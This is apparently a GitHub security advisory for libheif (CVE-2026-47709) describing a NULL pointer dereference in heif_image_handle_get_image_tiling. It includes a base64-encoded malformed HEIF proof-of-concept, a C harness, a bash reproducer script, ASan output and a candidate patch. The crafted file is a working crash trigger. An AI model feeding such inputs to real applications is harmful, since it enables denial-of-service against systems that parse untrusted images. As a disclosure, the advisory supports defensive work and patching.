Skip to content

NULL pointer dereference in heif_image_handle_get_image_tiling for malformed unci image missing ispe

Moderate
farindk published GHSA-4h72-vqgp-9376 May 19, 2026

Package

libheif (C/C++ library)

Affected versions

<= v1.21.2

Patched versions

v1.22.0

Description

Reporter: JUNYI LIU

Summary

libheif crashes in the public C API heif_image_handle_get_image_tiling() when a malformed uncompressed HEIF image item has an associated uncC property but no associated ispe property. In debug builds this trips the ispe && uncC assertion in ImageItem_uncompressed::get_heif_image_tiling(). In a release/NDEBUG ASan build, the same file causes a null pointer read at address 0xa8.

Affected Code

libheif/image-items/unc_image.cc

Root Cause

ImageItem_uncompressed::get_heif_image_tiling() assumes that both Box_ispe and Box_uncC are present:

auto ispe = get_property<Box_ispe>();
auto uncC = get_property<Box_uncC>();
assert(ispe && uncC);

tiling.num_columns = uncC->get_number_of_tile_columns();
tiling.num_rows = uncC->get_number_of_tile_rows();
tiling.tile_width = ispe->get_width() / tiling.num_columns;

The parser can construct an uncompressed image item where uncC is associated but ispe is not associated with the item. In release builds the assert is compiled out and the public API dereferences the null ispe pointer.

Impact

Any application that calls heif_image_handle_get_image_tiling() on attacker-supplied HEIF input can crash. This is a denial-of-service issue. I do not have evidence of code execution or arbitrary read/write.

Version Tested

5075bf14b330d986b5811bb344707cde56909457

Reproduction

  1. Save the following base64 data as poc.heif.
AAAAGGZ0eXBtaWYxAAAAAG1pZjFoZWlmAAABHG1ldGEAAAAAAAAAMmhkbHIAAAAAAAAAAHBpY3QA
AAAAAAAAAAAAAABHUEFDIHBpY3QgSGFuZGxlcgAAAAAOcGl0bQAAAAAAAQAAAB5pbG9jAAAAAARA
AAEAAQAAAAABPAABAAACWAAAAChpaW5mAAAAAAABAAAAGmluZmUCAAAAAAEAAHVuY2lJbWFnZQAA
AACKaXBycAAAAGtpcGNvAAAAFGlzcGUAAAAAAAAAngAAABQAAAAQcGFzcAAAAAEAAAABAAAADmNt
cGQAAAABAAAAAAAxdW5jQwAAAAAAAAAAAAAAAQAABwAAAAMAAAAAAAAAAAAAAAAAAAAAAAEAAAAD
AAAAF2lwbWEAAAAAAAAAAQABBIMCg4QA
  1. Build and run this minimal C/C++ API replay against libheif:
#include <stdio.h>
#include "libheif/heif.h"
#include "libheif/heif_tiling.h"

int main(void) {
  heif_context* ctx = heif_context_alloc();
  heif_error err = heif_context_read_from_file(ctx, "poc.heif", NULL);
  if (err.code != heif_error_Ok) {
    printf("read failed: %s\n", err.message ? err.message : "(no message)");
    return 1;
  }

  heif_image_handle* handle = NULL;
  err = heif_context_get_primary_image_handle(ctx, &handle);
  if (err.code != heif_error_Ok || !handle) {
    printf("primary handle failed: %s\n", err.message ? err.message : "(no message)");
    return 1;
  }

  heif_image_tiling tiling;
  err = heif_image_handle_get_image_tiling(handle, 1, &tiling);
  printf("tiling err=%d sub=%d columns=%u rows=%u\n",
         err.code, err.subcode, tiling.num_columns, tiling.num_rows);

  heif_image_handle_release(handle);
  heif_context_free(ctx);
  return 0;
}

Observed ASan Result

AddressSanitizer: SEGV on unknown address 0x0000000000a8
The signal is caused by a READ memory access.
ImageItem_uncompressed::get_heif_image_tiling() const
heif_image_handle_get_image_tiling
main

Candidate Fix

Guard missing properties and zero tile dimensions before using them. One possible minimal fix is:

diff --git a/libheif/image-items/unc_image.cc b/libheif/image-items/unc_image.cc
--- a/libheif/image-items/unc_image.cc
+++ b/libheif/image-items/unc_image.cc
@@ -393,8 +393,13 @@ heif_image_tiling ImageItem_uncompressed::get_heif_image_tiling() const

   auto ispe = get_property<Box_ispe>();
   auto uncC = get_property<Box_uncC>();
-  assert(ispe && uncC);
+  if (!ispe || !uncC ||
+      uncC->get_number_of_tile_columns() == 0 ||
+      uncC->get_number_of_tile_rows() == 0) {
+    return ImageItem::get_heif_image_tiling();
+  }

+  tiling.version = 1;
   tiling.num_columns = uncC->get_number_of_tile_columns();
   tiling.num_rows = uncC->get_number_of_tile_rows();

Runnable Reproducer Script

Save as repro.sh and run from the root of a libheif checkout:

#!/usr/bin/env bash
set -euo pipefail

# Run from the root of a libheif source checkout.
# Tested at commit 5075bf14b330d986b5811bb344707cde56909457.
# No persistent state: this script creates and removes only a temporary directory.
# Non-claims: this proves a public API crash / denial of service only. It does
# not claim code execution, arbitrary read/write, or ordinary decode-path impact.

tmpdir="$(mktemp -d)"
cleanup() {
  rm -rf "$tmpdir"
}
trap cleanup EXIT

commit="$(git rev-parse HEAD 2>/dev/null || true)"
echo "version_commit=${commit:-unknown}"

cat > "$tmpdir/poc.b64" <<'B64'
AAAAGGZ0eXBtaWYxAAAAAG1pZjFoZWlmAAABHG1ldGEAAAAAAAAAMmhkbHIAAAAAAAAAAHBpY3QA
AAAAAAAAAAAAAABHUEFDIHBpY3QgSGFuZGxlcgAAAAAOcGl0bQAAAAAAAQAAAB5pbG9jAAAAAARA
AAEAAQAAAAABPAABAAACWAAAAChpaW5mAAAAAAABAAAAGmluZmUCAAAAAAEAAHVuY2lJbWFnZQAA
AACKaXBycAAAAGtpcGNvAAAAFGlzcGUAAAAAAAAAngAAABQAAAAQcGFzcAAAAAEAAAABAAAADmNt
cGQAAAABAAAAAAAxdW5jQwAAAAAAAAAAAAAAAQAABwAAAAMAAAAAAAAAAAAAAAAAAAAAAAEAAAAD
AAAAF2lwbWEAAAAAAAAAAQABBIMCg4QA
B64
base64 -d "$tmpdir/poc.b64" > "$tmpdir/poc.heif"

cat > "$tmpdir/repro.cc" <<'CPP'
#include <cstdio>
#include "libheif/heif.h"
#include "libheif/heif_tiling.h"

int main(int argc, char** argv)
{
  if (argc != 2) {
    return 2;
  }

  heif_context* ctx = heif_context_alloc();
  heif_error err = heif_context_read_from_file(ctx, argv[1], nullptr);
  if (err.code != heif_error_Ok) {
    std::fprintf(stderr, "read failed: %s\n", err.message ? err.message : "(no message)");
    return 2;
  }

  heif_image_handle* handle = nullptr;
  err = heif_context_get_primary_image_handle(ctx, &handle);
  if (err.code != heif_error_Ok || !handle) {
    std::fprintf(stderr, "primary handle failed: %s\n", err.message ? err.message : "(no message)");
    return 2;
  }

  heif_image_tiling tiling{};
  err = heif_image_handle_get_image_tiling(handle, 1, &tiling);
  std::printf("tiling err=%d sub=%d columns=%u rows=%u\n",
              err.code, err.subcode, tiling.num_columns, tiling.num_rows);

  heif_image_handle_release(handle);
  heif_context_free(ctx);
  return 0;
}
CPP

echo "ENVIRONMENT_READY"

cmake -S . -B "$tmpdir/build" \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DWITH_UNCOMPRESSED_CODEC=ON \
  -DWITH_EXAMPLES=OFF \
  -DWITH_GDK_PIXBUF=OFF \
  -DWITH_RAV1E=OFF \
  -DWITH_DAV1D=OFF \
  -DWITH_LIBDE265=OFF \
  -DWITH_X265=OFF \
  -DWITH_AOM_DECODER=OFF \
  -DWITH_AOM_ENCODER=OFF
cmake --build "$tmpdir/build" --target heif -j"$(nproc)"

c++ -std=c++17 -fsanitize=address -fno-omit-frame-pointer \
  -Ilibheif/api -I"$tmpdir/build" -I. \
  "$tmpdir/repro.cc" -L"$tmpdir/build/libheif" -lheif -lz -lstdc++ \
  -o "$tmpdir/repro"

set +e
LD_LIBRARY_PATH="$tmpdir/build/libheif:${LD_LIBRARY_PATH:-}" \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
  "$tmpdir/repro" "$tmpdir/poc.heif" > "$tmpdir/out.log" 2>&1
rc=$?
set -e

cat "$tmpdir/out.log"
if grep -q "ImageItem_uncompressed::get_heif_image_tiling" "$tmpdir/out.log"; then
  echo "VULNERABLE_BEHAVIOR_CONFIRMED"
  echo "RESULT_DOS_CONFIRMED"
  exit 0
fi

echo "reproducer did not observe expected crash; rc=$rc"
exit 1

Notes

I also found a separate heif_context_get_entity_groups() crash while testing adjacent APIs, but that appears to duplicate public issue #1802 / PR #1806 and is not part of this report.

Severity

Moderate

CVE ID

CVE-2026-47709

Weaknesses

No CWEs

Credits